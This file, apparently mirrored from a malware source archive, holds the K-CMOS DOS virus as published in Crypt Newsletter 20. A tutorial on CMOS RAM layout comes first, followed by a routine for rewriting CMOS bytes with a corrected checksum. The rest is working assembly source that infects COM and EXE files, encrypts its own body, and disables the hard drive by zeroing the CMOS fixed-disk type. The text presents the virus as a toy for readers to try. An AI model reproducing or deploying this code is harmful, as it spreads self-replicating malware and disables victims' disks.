mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
4b9382ddbc
push
1119 lines
40 KiB
NASM
1119 lines
40 KiB
NASM
comment $
|
|
|
|
K-CM”S VIRUS for Crypt Newsletter 20
|
|
|
|
|
|
In my quest to bring the latest hi-tech computer virus
|
|
toys to you, faithful reader, I have researched one of the
|
|
relatively untouched-by-viruses parts of an AT computer:
|
|
the CMOS.
|
|
|
|
The CMOS (Complementary Metal Oxide Semiconductor) is a
|
|
low power consumption semiconductor where information such as
|
|
the current equipment settings, hard drive type, time and
|
|
date is stored and maintained using a NiCad battery that is
|
|
recharged every time you turn on the computer. (That is why
|
|
it's a good idea to turn on the computer every once in a while
|
|
if you are not using it for long periods. This prevents
|
|
battery discharge and loss of CMOS settings.)
|
|
|
|
The CMOS in your computer is changed and set every time
|
|
you run the Setup program that comes with your BIOS (AMI,
|
|
Phoenix), and can be accessed and changed by any program
|
|
running from DOS.
|
|
|
|
The AT CMOS RAM is divided into three areas:
|
|
|
|
1 - The clock/calendar bytes
|
|
2 - The control registers
|
|
3 - General purpose RAM.
|
|
|
|
The following table describes the CMOS RAM location and what
|
|
each byte is used for:
|
|
|
|
OFFSET byte DESCRIPTION
|
|
|
|
Real Clock Data
|
|
|
|
00 Current second in BCD
|
|
01 Alarm second in BCD
|
|
02 Current minute in BCD
|
|
03 Alarm minute in BCD
|
|
04 Current Hour in BCD
|
|
05 Alarm Hour in BCD
|
|
06 Current day of week in BCD
|
|
07 Current day in BCD
|
|
08 Current month in BCD
|
|
09 Current year in BCD
|
|
|
|
Status Registers
|
|
|
|
0A Status Register A
|
|
0B Status Register B
|
|
0C Status Register C
|
|
0D Status Register D
|
|
|
|
Configuration Data
|
|
|
|
0E Diagnostic Status
|
|
Bit 7 - Clock Lost Power
|
|
Bit 6 - Bad CMOS checksum
|
|
Bit 5 - invalid config info at POST
|
|
Bit 4 - memory Size compare error at POST
|
|
Bit 3 - Fixed disk or adapter failed initialization
|
|
Bit 2 - Invalid CMOS time
|
|
Bits 1-0 - Reserved
|
|
0F Reason for Shutdown
|
|
00 - Power on or reset
|
|
01 - Memory Size pass
|
|
02 - Memory test pass
|
|
03 - memory test fail
|
|
04 - POST end: boot system
|
|
05 - jmp doubleword pointer with EOI
|
|
06 - Protected tests pass
|
|
07 - Protected tests fail
|
|
08 - Memory size fail
|
|
09 - INT 15h Block move
|
|
0A - JMP double word pointer without EOI
|
|
10 Diskette Drive Types
|
|
Bits 7-4 - Diskette drive 0 type
|
|
Bits 3-0 - Diskette drive 1 type
|
|
0000b - no drive
|
|
0001b - 360K drive
|
|
0010b - 1.2MB drive
|
|
0011b - 720K drive
|
|
0100b - 1.44 MB drive
|
|
0101b - 2.88 MB drive
|
|
11 Reserved
|
|
12 Fixed Disk Drive Types
|
|
Bits 7-4 - Fixed Disk drive 0 type
|
|
Bits 3-0 - Fixed Disk drive 1 type
|
|
0000b - no drive
|
|
(Note: These drives do not necessarily
|
|
correspond with the values stored at
|
|
locations 19h and 1Ah)
|
|
13 Reserved
|
|
14 Equipment Installed
|
|
Bits 7-6 - # of Diskette drives
|
|
00b - 1 diskette drive
|
|
01b - 2 diskette drives
|
|
Bits 5-4 - Primary Display
|
|
00b - reserved
|
|
01b - 40 X 25 color
|
|
10b - 80 X 25 color
|
|
11b - 80 X 25 monochrome
|
|
Bits 3-0 - Reserved
|
|
15 Base Memory in 1K low byte
|
|
16 Base Memory in 1K high byte
|
|
17 Expansion Memory size low byte
|
|
18 Expansion Memory size high byte
|
|
19 Fixed Disk Drive Type 0
|
|
1A Fixed Disk Drive Type 1
|
|
1B-2D Reserved
|
|
2E Configuration Data checksum high byte
|
|
2F Configuration Data checksum low byte
|
|
30 Actual Expansion Memory size low byte
|
|
31 Actual Expansion Memory size high byte
|
|
32 Century in BCD
|
|
33 Information Flag
|
|
Bit 7 - 128 Kbyte expanded
|
|
Bit 6 - Setup Flag
|
|
Bits 5-0 - Reserved
|
|
34-3F Reserved
|
|
|
|
|
|
|
|
As you can see, there are a total of 63 (3F hex) bytes of
|
|
CMOS RAM, with 33 bytes used as 'reserved' memory in the
|
|
three areas; these locations are not currently defined by
|
|
the AT BIOS and might be used to store data that will be
|
|
restored after power is shut down.
|
|
|
|
The 4 status registers (A through D) located, appropriately, at
|
|
locations 0Ah through 0Dh define the chips operating
|
|
parameters and provide information about interrupts and the
|
|
state of the real time clock chip (RTC).
|
|
|
|
With very few restrictions all CMOS RAM locations may be
|
|
directly accessed by an application.
|
|
|
|
Program locations 11h, 13h, and 1Bh through 2Dh are used
|
|
in calculating the CMOS checksum that the BIOS stores at
|
|
locations 2Eh and 2Fh.
|
|
|
|
Note: If a program changes ANY bytes at locations 10h
|
|
through 2Dh it must also recalculate the checksum and store
|
|
the new value. Changing these bytes (10h -> 2Dh) without
|
|
correcting the checksum results in a 'CMOS checksum error'
|
|
forcing you to run the BIOS setup and reenter all of the CMOS
|
|
information.
|
|
|
|
The reserved memory locations 34h through 3Fh are not used in
|
|
checksum calculations and may be changed with extreme caution
|
|
since different BIOS versions, manufacturers and hardware
|
|
configurations use this reserved CMOS RAM locations for
|
|
extended system setup information including BIOS passwords
|
|
and DMA settings.
|
|
|
|
|
|
To access and change a computer's CMOS RAM is very simple:
|
|
|
|
Access is done through ports 70 hex (CMOS control/address)
|
|
and port 71 hex (CMOS data).
|
|
|
|
The process is thus:
|
|
|
|
1 - We specify the CMOS RAM address of the byte we want to
|
|
read or write using port 70h
|
|
|
|
EXAMPLE:
|
|
|
|
mov al,XX where XX = byte specifying the address (00h->3Fh)
|
|
out 70h,al
|
|
|
|
2 - We read or write a byte to the address specified in step
|
|
1.
|
|
|
|
READ EXAMPLE:
|
|
|
|
in al,71h byte at location XX goes into AL
|
|
|
|
WRITE EXAMPLE:
|
|
|
|
out 71h,al byte in AL goes to location XX in the CMOS RAM
|
|
|
|
There is one little problem: if we are writing to any of the
|
|
locations that are checksummed (10h through 2Dh), we must
|
|
change the checksum value as well; so we follow steps 1 and 2
|
|
with the checksum values at locations 2Eh and 2Fh, combine
|
|
the bytes into one register and subtract the current byte
|
|
value from the register containing the checksum. Then we add
|
|
the value of the new byte to be put in the CMOS RAM to the
|
|
register that has the checksum, and we write the checksum,
|
|
and the new byte to the CMOS.
|
|
|
|
While all of this might seem too complicated, I have
|
|
written a mini-CM”S toolkit, a routine that takes the address
|
|
and the new value of the byte to be put in the CMOS, and does
|
|
the dirty work of putting the values and of changing the
|
|
checksum for you.
|
|
|
|
Read the code carefully. It will make everything become
|
|
clearer.
|
|
|
|
;==============================================================================
|
|
CMOS_CHCKSM:
|
|
|
|
; INPUT:
|
|
; DL = CMOS ADDRESS of BYTE TO be MODiFiED
|
|
; BL = NEW BYTE VALUE to be PUT IN CMOS RAM
|
|
|
|
; OUTPUT:
|
|
; None.
|
|
; REGISTERS USED: AX,CX,BX,DX
|
|
|
|
;*************************
|
|
; GET CMOS Checksum => CX
|
|
;*************************
|
|
|
|
xor ax,ax
|
|
mov al,2Eh ;msb of checksum address
|
|
out 70h,al ;send address / control byte
|
|
in al,71h ;read byte
|
|
|
|
xchg ch,al ;store al in ch
|
|
|
|
mov al,2Fh ;lsb of checksum address
|
|
out 70h,al ;send address / control byte
|
|
in al,71h ;read byte
|
|
|
|
xchg cl,al ;store lsb to cl
|
|
|
|
;*********************
|
|
; Fix CMOS Checksum
|
|
;*********************
|
|
|
|
push dx
|
|
xchg dl,al ;AL = address
|
|
out 70h,al ;send address / control byte
|
|
in al,71h ;read register
|
|
|
|
sub cx,ax ;subtract from checksum
|
|
|
|
add cx,bx ;update checksum value in register.
|
|
|
|
;****************************
|
|
; Write CMOS byte to Address
|
|
;****************************
|
|
|
|
pop dx
|
|
xchg dl,al ;AL = address
|
|
out 70h,al ;specify CMOS address
|
|
xchg al,bl ;new CMOS value => al
|
|
|
|
out 71h,al ;write new CMOS byte
|
|
|
|
;*********************
|
|
; Write CMOS Checksum
|
|
;*********************
|
|
|
|
mov al,2Eh ;address of checksum 's msb
|
|
out 70h,al ;specify CMOS address
|
|
xchg al,ch ;msb of new checksum
|
|
|
|
out 71h,al ;write new CMOS msb
|
|
|
|
mov al,2Fh ;address of checksum 's lsb
|
|
out 70h,al ;specify CMOS address
|
|
xchg al,cl ;lsb of new checksum
|
|
|
|
out 71h,al ;write new CMOS lsb
|
|
ret
|
|
|
|
;==============================================================================
|
|
|
|
|
|
It is worth mentioning that for XT (8088) type computers
|
|
the CMOS routine will have no adverse effects in the
|
|
execution of the virus-infected program.
|
|
|
|
There are many intriguing features of CMOS-attacking
|
|
viruses: The biggest one is the interaction between software
|
|
and CMOS is not stopped by common anti-virus memory
|
|
resident programs. The most talked about example of such
|
|
a virus is the South African EXEbug, which uses CMOS
|
|
manipulation to make itself difficult to remove from an
|
|
infected hard disk. EXEbug massages the CMOS so that if
|
|
the machine is booted from a diskette and the virus is
|
|
not in memory, the infected hard disk is not recognized.
|
|
|
|
The list of possible problems created by a CMOS
|
|
attacking virus is long:
|
|
|
|
1 - CMOS checksum errors.
|
|
This will force the user to reenter all of the CMOS data.
|
|
Change any value in the correct CMOS range without
|
|
updating the checksum.
|
|
|
|
2 - Dead disk / hard drives.
|
|
This could drive the uninformed to presume they have
|
|
encountered a hardware problem.
|
|
|
|
3 - Changed hardrive types, horrendous hardrive problems.
|
|
For example: Input the hardrive type byte, subtract some small
|
|
digit from it and output the byte to the CMOS. (The checksum
|
|
must be fixed!) and a horrible mess results on subsequent
|
|
boot up.
|
|
|
|
4 - Changed dates, times, etc.
|
|
The uninformed could thing the Nicad battery has died,
|
|
or that his/her computer is possessed by evil, Nigerian
|
|
Deities.
|
|
|
|
5 - Changed BIOS passwords, inability to access a computer.
|
|
On newer AMI BIOSes you can set or change the password
|
|
required to access the computer. This topic was discussed
|
|
briefly in a recent issue of Virus News International, the
|
|
upshot being that the unsuspecting could be flummoxed into
|
|
throwing the computer out the window, or more realistically,
|
|
calling a technician. In the case where some knowledge about
|
|
computers is present, the case is opened and the jumper
|
|
found to short the CMOS. (No, you don't have to disconnect
|
|
the battery. And you didn't throw out your machine manuals
|
|
did you?)
|
|
|
|
Although many anti-virus programs can save and restore
|
|
your CMOS values as part of their function, currently there
|
|
is only one memory resident program that checks for changes
|
|
in the CMOS: Thunderbyte's TBMEM.
|
|
|
|
This month's example, K-CM”S, falls in category #2: it
|
|
kills all fixed disk drives by zeroing out location 12h in
|
|
the CMOS RAM. It also has some encryption abilities (a 16
|
|
byte constant decryptor) and a PATH style infection routine
|
|
that actually works!
|
|
|
|
Needless to say, careful handling is necessary as it can
|
|
spread quite rapidly.
|
|
|
|
Important: Since K-CMOS zero's the CMOS value for the fixed
|
|
disk on execution, unless you restore the value before ending
|
|
your experiment with some software CMOS reloading tool, you
|
|
will have a dead C: drive when you finally get around to
|
|
rebooting. Keep in mind that if you don't know how to reset
|
|
your CMOS on power up using the built in BIOS setup, you will
|
|
sit there in a dumb stew wondering why you ran a virus which
|
|
unhooked your hard drive.
|
|
|
|
To prevent this from happening, you must familiarize yourself
|
|
with the BIOS setup program. Here is a brief walkthrough which
|
|
could be used to properly restore your machine after K-CMOS
|
|
has altered your CMOS:
|
|
|
|
1 - BEFORE you execute K-CMOS - on power up, bring up your
|
|
BIOS setup by holding down the DEL key while you are booting
|
|
the computer.
|
|
|
|
2 - You will probably see a screen with a number of selections.
|
|
You will want to bring up "Change Basic CMOS Settings" or its
|
|
equivalent. Write down the values for the HD types on drives
|
|
C and D.
|
|
|
|
3- IF the hard drive types are "47" the you MUST record all
|
|
of the data in the displayed fields, i.e, the information
|
|
such as the number of heads, sectors, etc. Again, you MUST
|
|
do this BEFORE you run K-CMOS or you will have to look in
|
|
your manuals somewhere to get the specific HD information!
|
|
|
|
NOTE: Newer AMI BIOSes have an auto-detect feature in the
|
|
Setup menu, so you might not have to worry about hard disk type
|
|
number, number of sectors, number of heads, etc., if you have
|
|
the feature in your computer's BIOS. The setup will do the
|
|
work for you.
|
|
|
|
4 - Now that you've recorded this data, you can test K-CMOS
|
|
and watch it unhook your system. On reboot, you will lose the
|
|
hard disk. Reboot, bring up your Setup program as above, re-
|
|
enter the values for the hard disk which you previously
|
|
recorded, exit and save. You are back in business.
|
|
|
|
Enjoy!
|
|
|
|
$
|
|
|
|
;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
|
; K-CM”S.ASM
|
|
; AUTHOR: K”hntark
|
|
; DATE: November 93
|
|
; Size: < 1100 bytes
|
|
;
|
|
;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
|
|
|
MAIN SEGMENT BYTE
|
|
ASSUME cs:main,ds:main,ss:nothing ;all part in one segment=com file
|
|
ORG 100h
|
|
|
|
;**********************************
|
|
; fake host program
|
|
;**********************************
|
|
|
|
HOST:
|
|
db 0E9h,0Ah,00 ;jmp NEAR PTR VIRUS
|
|
db ' '
|
|
db 90h,90h,90h
|
|
mov ah,4CH
|
|
mov al,0
|
|
int 21H ;terminate normally with dos
|
|
|
|
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
|
|
|
|
;**********************************
|
|
; VIRUS CODE STARTS HERE
|
|
;**********************************
|
|
|
|
VIRUS:
|
|
|
|
mov si,010Dh ;get starting address
|
|
|
|
;************************************
|
|
; Fix DS ES
|
|
;************************************
|
|
|
|
mov al,cs:BYTE PTR [si + COM_FLAG - VIRUS] ;save COM/EXE flag in AX
|
|
mov WORD PTR cs:[si + PSP_SEG - VIRUS],es ;save PSP segment for use in PATH search
|
|
push ax ;save COM/EXE flag
|
|
push es ;save es and ds in case file is EXE
|
|
push ds
|
|
|
|
push cs
|
|
push cs
|
|
pop es ;es = cs
|
|
pop ds ;ds = cs
|
|
|
|
push WORD PTR [si + ORIG_IPCS - VIRUS] ;save IP
|
|
push WORD PTR [si + ORIG_IPCS - VIRUS + 2] ;save CS
|
|
|
|
push WORD PTR [si + ORIG_SSSP - VIRUS] ;save SS
|
|
push WORD PTR [si + ORIG_SSSP - VIRUS + 2] ;save SP
|
|
|
|
push WORD PTR [si + START_CODE - VIRUS]
|
|
push WORD PTR [si + START_CODE - VIRUS + 2]
|
|
|
|
;************************************
|
|
; redirect DTA onto virus code
|
|
;************************************
|
|
|
|
lea dx,[si + DTA - VIRUS] ;put DTA at the end of the virus for now
|
|
mov ah,1ah ;set new DTA function to ds:dx
|
|
int 21h
|
|
|
|
;************************************
|
|
; KIll fixed disk drives in CMOS
|
|
;************************************
|
|
|
|
mov dx,0012h ;hard drive type register
|
|
xor bx,bx ;New hard drive type = 0 (No Fixed drive)
|
|
call CMOS_CHCKSM
|
|
|
|
;************************************
|
|
; MAIN Routines called from here
|
|
;************************************
|
|
|
|
lea bp,[si + COM_MASK - VIRUS]
|
|
call FIND_FILE ;get a com file to attack!
|
|
lea bp,[si + EXE_MASK - VIRUS]
|
|
call FIND_FILE ;get an exe file to attack!
|
|
|
|
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
|
|
|
|
EXIT_VIRUS:
|
|
|
|
;************************************
|
|
; set old DTA address
|
|
;************************************
|
|
|
|
mov ah,1ah
|
|
mov dx,80h ;fix dta back to ds:dx
|
|
int 21h ;host program
|
|
|
|
pop WORD PTR [si + START_CODE - VIRUS + 2]
|
|
pop WORD PTR [si + START_CODE - VIRUS]
|
|
|
|
cli
|
|
pop WORD PTR [si + ORIG_SSSP - VIRUS + 2] ;save SP
|
|
pop WORD PTR [si + ORIG_SSSP - VIRUS] ;save SS
|
|
sti
|
|
|
|
pop WORD PTR [si + ORIG_IPCS - VIRUS + 2] ;save CS
|
|
pop WORD PTR [si + ORIG_IPCS - VIRUS] ;save IP
|
|
|
|
pop ds ;restore ds
|
|
pop es ;restore es
|
|
pop ax ;restore COM_FLAG
|
|
|
|
cmp al,00 ;com infection?
|
|
je RESTORE_COM
|
|
|
|
;************************************
|
|
; restore EXE.. and exit..
|
|
;************************************
|
|
|
|
mov bx,ds ;ds has to be original one
|
|
add bx,low 10h
|
|
mov cx,bx
|
|
add bx,cs:WORD PTR [si + ORIG_SSSP - VIRUS] ;restore ss
|
|
cli
|
|
mov ss,bx
|
|
mov sp,cs:WORD PTR [si + ORIG_SSSP - VIRUS + 2] ;restore sp
|
|
sti
|
|
add cx,cs:WORD PTR [si + ORIG_IPCS - VIRUS+ 2]
|
|
push cx ;push cs
|
|
push cs:WORD PTR [si + ORIG_IPCS - VIRUS] ;push ip
|
|
db 0CBh ;retf
|
|
|
|
;************************************
|
|
; restore 4 original bytes to file
|
|
;************************************
|
|
|
|
RESTORE_COM:
|
|
push si ;save si
|
|
cld ;clear direction flag
|
|
add si,OFFSET START_CODE - OFFSET VIRUS ;source: ds:si
|
|
mov di,0100h ;destination: es:di
|
|
movsw ;shorter & faster than
|
|
movsw ;mov cx,04 and rep movsb
|
|
pop si ;restore si
|
|
|
|
;****************************************************************
|
|
; zero out registers for return to
|
|
; host program
|
|
;****************************************************************
|
|
|
|
mov ax,0100h ;return address
|
|
xor bx,bx
|
|
xor cx,cx
|
|
xor si,si
|
|
xor di,di
|
|
push ax
|
|
xor ax,ax
|
|
cwd
|
|
ret
|
|
|
|
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
|
|
|
|
NO_GOOD: stc
|
|
jmp GET_OUT
|
|
|
|
QUICK_EXIT: stc ;set carry flag
|
|
ret
|
|
|
|
;-----------------------------------------------------------------------------
|
|
|
|
CHECK_N_INFECT_FILE:
|
|
|
|
;******************
|
|
; 1-Check TIME ID
|
|
;******************
|
|
|
|
mov cx,WORD PTR [si + DTA_File_TIME - VIRUS] ;file time from DTA
|
|
and cl,1Dh ;58 seconds?
|
|
cmp cl,1Dh
|
|
je QUICK_EXIT
|
|
|
|
;*********************************************
|
|
; 2-Clear attributes
|
|
;*********************************************
|
|
|
|
lea dx,[si + WORK_AREA - VIRUS] ;dx=ptr to path + current filename
|
|
xor cx,cx ;set attributes to normal
|
|
mov ax,4301h ;set file attributes to cx
|
|
int 21h ;int 21h
|
|
jc QUICK_EXIT ;error.. quit
|
|
|
|
;*****************
|
|
; 3-OPEN FILE
|
|
;*****************
|
|
|
|
mov ax,3D02h ;r/w access to it
|
|
int 21h
|
|
jc NO_GOOD ;error.. quit
|
|
xchg ax,bx ;bx = file handle
|
|
|
|
;********************
|
|
; 4-Read 1st 28 bytes
|
|
;********************
|
|
|
|
mov cx,28d ;read first 5 bytes of file
|
|
lea dx,[si + START_CODE - VIRUS] ;store'em here
|
|
mov ah,3Fh ;DOS read function
|
|
int 21h
|
|
jc NO_GOOD ;error? get next file
|
|
|
|
;*********************
|
|
; 5-CHECK FILE
|
|
;*********************
|
|
|
|
cmp WORD PTR [si + START_CODE - VIRUS],'ZM' ;EXE file?
|
|
je CHECK_EXE ;no? check com
|
|
|
|
cmp WORD PTR [si + START_CODE - VIRUS],'MZ' ;EXE file?
|
|
je CHECK_EXE ;no? check com
|
|
|
|
CHECK_COM:
|
|
mov ax,WORD PTR [si + DTA_File_SIZE - VIRUS] ;get file's size
|
|
push ax ;insert new entry point just in case..
|
|
add ax,100h + DECRYPTOR_SIZE
|
|
mov WORD PTR [si + 1],ax
|
|
pop ax
|
|
|
|
add ax,OFFSET FINAL - OFFSET VIRUS ;add virus size to it
|
|
jc NO_GOOD ;bigger then 64K:nogood
|
|
|
|
cmp BYTE PTR [si + START_CODE - VIRUS],0E9H ;compare 1st byte to near jmp
|
|
jne short INFECT_COM ;not a near jmp, file ok
|
|
|
|
cmp BYTE PTR [si + START_CODE+3 - VIRUS],20h ;check for ' '
|
|
je NO_GOOD ;file ok .. infect
|
|
jmp short INFECT_COM
|
|
|
|
|
|
CHECK_EXE:
|
|
cmp WORD PTR [si + START_CODE - VIRUS + 18h],40h ;Windows file?
|
|
je NO_GOOD ;no? check com
|
|
|
|
cmp WORD PTR [si + START_CODE - VIRUS + 01Ah],0 ;internal overlay
|
|
jne NO_GOOD ;yes? exit..
|
|
|
|
cmp WORD PTR [si + START_CODE - VIRUS + 12h],ID ;already infected?
|
|
je NO_GOOD
|
|
|
|
INFECT_EXE:
|
|
mov BYTE PTR [si+ COM_FLAG - VIRUS],01 ;exe infection
|
|
jmp short SKIP
|
|
|
|
INFECT_COM:
|
|
mov BYTE PTR [si+ COM_FLAG - VIRUS],00 ;com infection
|
|
|
|
SKIP:
|
|
|
|
;*********************
|
|
; 6-set PTR @EOF
|
|
;*********************
|
|
|
|
xor cx,cx ;prepare to write virus on file
|
|
xor dx,dx ;position file pointer,cx:dx = 0
|
|
;cwd ;position file pointer,cx:dx = 0
|
|
mov ax,4202H
|
|
int 21h ;locate pointer at end EOF DOS function
|
|
|
|
;*********************
|
|
; 7-Fix deCRYPTtor
|
|
;*********************
|
|
|
|
push ax ;save file size (COM file, for EXE files
|
|
;this is redone later)
|
|
add ax,100h + DECRYPTOR_SIZE
|
|
mov WORD PTR [si + WORK_BUFFER - VIRUS + 4],ax ;insert address
|
|
mov ax,(OFFSET FINAL - OFFSET VIRUS)/2 ;virus size in Words
|
|
mov WORD PTR [si + WORK_BUFFER - VIRUS + 1],ax ;insert size
|
|
|
|
in al,40h ;get a random word in AX
|
|
xchg ah,al
|
|
in al,40h
|
|
xor ax,0813Ch
|
|
add ax,09249h
|
|
rol al,1
|
|
ror ah,1
|
|
|
|
mov WORD PTR [si + WORK_BUFFER - VIRUS + 9],ax ;insert random KEY
|
|
pop ax ;restore file size
|
|
|
|
|
|
cmp BYTE PTR [si+ COM_FLAG - VIRUS],01 ;exe file?
|
|
jne DO_COM
|
|
|
|
;*************************
|
|
; 8-FIX AND WRITE EXE HDR
|
|
;*************************
|
|
|
|
push bx ;save file handler
|
|
|
|
;-----------------------
|
|
; save CS:IP & SS:SP
|
|
;-----------------------
|
|
|
|
push si
|
|
cld ;clear direction flag
|
|
lea di,[si + ORIG_SSSP - VIRUS] ;save original CS:IP at es:di
|
|
lea si,[si + START_CODE - VIRUS + 14d] ;from ds:si
|
|
movsw ;save ss
|
|
movsw ;save sp
|
|
|
|
add si,02 ;save original SS:SP
|
|
movsw ;save ip
|
|
movsw ;save cs
|
|
pop si
|
|
|
|
;-----------------------------
|
|
; calculate new CS:IP
|
|
;-----------------------------
|
|
|
|
mov bx,WORD PTR[si + START_CODE - VIRUS + 8] ;header size in paragraphs
|
|
mov cl,04 ;multiply by 16, won't work with headers > 4096
|
|
shl bx,cl ;bx=header size
|
|
|
|
push ax ;save file size at dx:ax
|
|
push dx
|
|
|
|
sub ax,bx ;file size - header size
|
|
sbb dx,0000h ;fix dx if carry, assures dx, ip < 16
|
|
|
|
call CALCULATE
|
|
|
|
mov WORD PTR [si+ START_CODE - VIRUS + 12h],ID ;put ID in checksum slot
|
|
mov WORD PTR [si+ START_CODE - VIRUS + 14h],ax ;IP
|
|
add ax,DECRYPTOR_SIZE
|
|
mov WORD PTR [si+1],ax ;insert new starting address
|
|
mov WORD PTR [si + WORK_BUFFER - VIRUS + 4],ax ;insert address on decryptor
|
|
mov WORD PTR [si+ START_CODE - VIRUS + 16h],dx ;CS
|
|
|
|
;-----------------------------
|
|
; calculate & fix new SS:SP
|
|
;-----------------------------
|
|
|
|
pop dx
|
|
pop ax ;filelength in dx:ax
|
|
|
|
add ax,OFFSET FINAL - OFFSET VIRUS ;add filesize to ax
|
|
adc dx,0000h ;fix dx if carry
|
|
|
|
push ax
|
|
push dx
|
|
add ax,40h ;if filesize + virus size is even then the stack size
|
|
test al,01 ;even or odd stack?
|
|
jz EVENN
|
|
inc ax ;make stack even
|
|
EVENN:
|
|
call CALCULATE
|
|
|
|
mov WORD PTR [si+ START_CODE - VIRUS + 10h],ax ;SP
|
|
mov WORD PTR [si+ START_CODE - VIRUS + 0Eh],dx ;SS
|
|
|
|
;-----------------------------
|
|
; Calculate new file size
|
|
;-----------------------------
|
|
|
|
pop dx
|
|
pop ax
|
|
|
|
push ax
|
|
mov cl,0009h ;2^9 = 512
|
|
ror dx,cl ;/ 512 (sort of)
|
|
shr ax,cl ;/ 512
|
|
stc ;set carry flag
|
|
adc dx,ax ;fix dx , page count
|
|
pop cx
|
|
and ch,0001h ;mod 512
|
|
|
|
mov WORD PTR [si+ START_CODE - VIRUS + 4],dx ;page count
|
|
mov WORD PTR [si+ START_CODE - VIRUS + 2],cx ;save remainder
|
|
|
|
pop bx ;restore file handle
|
|
|
|
DO_COM:
|
|
|
|
;*********************
|
|
; 9-write deCRYPTor
|
|
;*********************
|
|
|
|
lea dx,[si + WORK_BUFFER - VIRUS] ;write from here
|
|
mov cx,DECRYPTOR_SIZE ;write # of bytes
|
|
mov ah,40h ;write to file bx=file handle
|
|
int 21h ;write from DS:DX
|
|
|
|
;*********************
|
|
; 10-enCRYPT virus
|
|
;*********************
|
|
|
|
push ds ;save DS
|
|
push es ;save ES
|
|
mov ax,0A00h ;set up new ES (work) segment
|
|
push ax
|
|
pop es ;ES=AX=0A00h
|
|
xor di,di ;DI=0
|
|
mov cx,(OFFSET FINAL - OFFSET VIRUS)/2 ;virus size cx= # words
|
|
push si ;save SI
|
|
mov dx,WORD PTR [si + WORK_BUFFER - VIRUS + 9] ;get Random KEY in DX
|
|
|
|
enCRYPT:
|
|
lodsw ;word ptr ds:[si] => ax
|
|
sub ax,dx ;encrypt ax
|
|
stosw ;ax => word ptr es:[di]
|
|
loop enCRYPT
|
|
|
|
pop si ;restore SI
|
|
xor dx,dx ;DX=0
|
|
push es
|
|
pop ds ;DS=ES
|
|
|
|
;*********************
|
|
; 11-Write Virus
|
|
;*********************
|
|
|
|
mov cx,OFFSET FINAL - OFFSET VIRUS ;write virus cx= # bytes
|
|
mov ah,40h ;write to file bx=file handle
|
|
int 21h ;write from DS:DX
|
|
|
|
pop es ;restore ES
|
|
pop ds ;restore DS
|
|
|
|
;*********************
|
|
; 12-set PTR @BOF
|
|
;*********************
|
|
|
|
mov ax,4200h ;locate pointer at beginning of
|
|
xor cx,cx
|
|
xor dx,dx ;position file pointer,cx:dx = 0
|
|
;cwd ;position file pointer,cx:dx = 0
|
|
int 21h ;host file
|
|
|
|
cmp BYTE PTR [si+ COM_FLAG - VIRUS],01 ;exe file?
|
|
jne DO_COM2
|
|
|
|
;*********************
|
|
; 13-Write EXE Header
|
|
;*********************
|
|
|
|
mov cx,28d ;#of bytes to write
|
|
lea dx,[si + START_CODE - VIRUS] ;ds:dx=pointer of data to write
|
|
jmp short CONT
|
|
|
|
;****************************************************
|
|
; 14-write new 4 bytes to beginning of file (COM)
|
|
;***************************************************
|
|
|
|
DO_COM2:
|
|
mov ax,WORD PTR [si + DTA_File_SIZE - VIRUS]
|
|
sub ax,3
|
|
mov WORD PTR [si + START_IMAGE + 1 - VIRUS],ax
|
|
|
|
mov cx,4 ;#of bytes to write
|
|
lea dx,[si + START_IMAGE - VIRUS] ;ds:dx=pointer of data to write
|
|
|
|
CONT:
|
|
mov ah,40h ;DOS write function
|
|
int 21h ;write 5 / 28 bytes
|
|
|
|
;*************************************************
|
|
; 15-Restore date and time of file to be infected
|
|
;*************************************************
|
|
|
|
mov ax,5701h
|
|
mov dx,WORD PTR [si + DTA_File_DATE - VIRUS]
|
|
mov cx,WORD PTR [si + DTA_File_TIME - VIRUS]
|
|
and cx,0FFE0h ;mask all but seconds
|
|
or cl,1Dh ;seconds to 58
|
|
int 21h
|
|
|
|
GET_OUT:
|
|
;****************
|
|
; 16-Close File
|
|
;****************
|
|
|
|
pushf ;save flags to return on exit
|
|
mov ah,3Eh
|
|
int 21h ;close file
|
|
|
|
;*************************************************
|
|
; 17-Restore file's attributes
|
|
;*************************************************
|
|
|
|
mov ax,4301h ;set file attributes to cx
|
|
lea dx,[si + WORK_AREA - VIRUS] ;dx=ptr to path + current filename
|
|
xor cx,cx
|
|
mov cl,BYTE PTR [si + DTA_File_ATTR - VIRUS] ;get old attributes
|
|
int 21h
|
|
popf ;restore flags to return on exit
|
|
ret ;infection done!
|
|
|
|
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
|
|
|
|
CALCULATE:
|
|
mov cl,0Ch
|
|
shl dx,cl ;dx * 4096
|
|
mov bx,ax
|
|
mov cl,4
|
|
shr bx,cl ;ax / 16
|
|
add dx,bx ;dx = dx * 4096 + ax / 16 =SS CS
|
|
and ax,0Fh ;ax = ax and 0Fh =SP IP
|
|
ret
|
|
|
|
